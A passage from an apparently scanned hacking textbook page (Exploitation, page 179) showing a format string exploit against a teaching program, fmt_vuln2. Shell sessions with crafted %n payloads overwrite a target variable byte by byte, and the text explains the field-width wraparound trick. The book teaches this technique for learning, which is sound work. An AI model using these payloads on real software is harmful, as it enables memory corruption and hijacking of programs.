16.01.2015 Views

Hacking

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

4b4e554a<br />

[*] test_val @ 0x080497f4 = 33991629 0x0206abcd<br />

[*] next_val @ 0x080497f8 = 286326784 0x11110000<br />

reader@hacking:~/booksrc $<br />

With each write, bytes of the next_val variable, adjacent to test_val, are<br />

being overwritten. The wraparound technique seems to be working fine, but<br />

a slight problem manifests itself as the final byte is attempted.<br />

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x08 - 0x06"<br />

$1 = 2<br />

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\<br />

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%2x%n<br />

The right way to print user-controlled input:<br />

JUNKJUNKJUNK%x%x%161x%n%222x%n%91x%n%2x%n<br />

The wrong way to print user-controlled input:<br />

JUNKJUNKJUNKbffff3a0b7fe75fc<br />

0<br />

4b4e554a<br />

4b4e554a4b4e554a<br />

[*] test_val @ 0x080497f4 = 235318221 0x0e06abcd<br />

[*] next_val @ 0x080497f8 = 285212674 0x11000002<br />

reader@hacking:~/booksrc $<br />

What happened here The difference between 0x06 and 0x08 is only two,<br />

but eight bytes are output, resulting in the byte 0x0e being written by the %n<br />

format parameter, instead. This is because the field width option for the<br />

%x format parameter is only a minimum field width, and eight bytes of data<br />

were output. This problem can be alleviated by simply wrapping around<br />

again; however, it’s good to know the limitations of the field width option.<br />

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x108 - 0x06"<br />

$1 = 258<br />

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\<br />

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%258x%n<br />

The right way to print user-controlled input:<br />

JUNKJUNKJUNK%x%x%161x%n%222x%n%91x%n%258x%n<br />

The wrong way to print user-controlled input:<br />

JUNKJUNKJUNKbffff3a0b7fe75fc<br />

0<br />

4b4e554a<br />

4b4e554a<br />

4b4e554a<br />

[*] test_val @ 0x080497f4 = 134654925 0x0806abcd<br />

[*] next_val @ 0x080497f8 = 285212675 0x11000003<br />

reader@hacking:~/booksrc $<br />

Just like before, the appropriate addresses and junk data are put in the<br />

beginning of the format string, and the least significant byte is controlled for<br />

four write operations to overwrite all four bytes of the variable test_val. Any<br />

value subtractions to the least significant byte can be accomplished by wrapping<br />

the byte around. Also, any additions less than eight may need to be<br />

wrapped around in a similar fashion.<br />

Exploitation 179

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!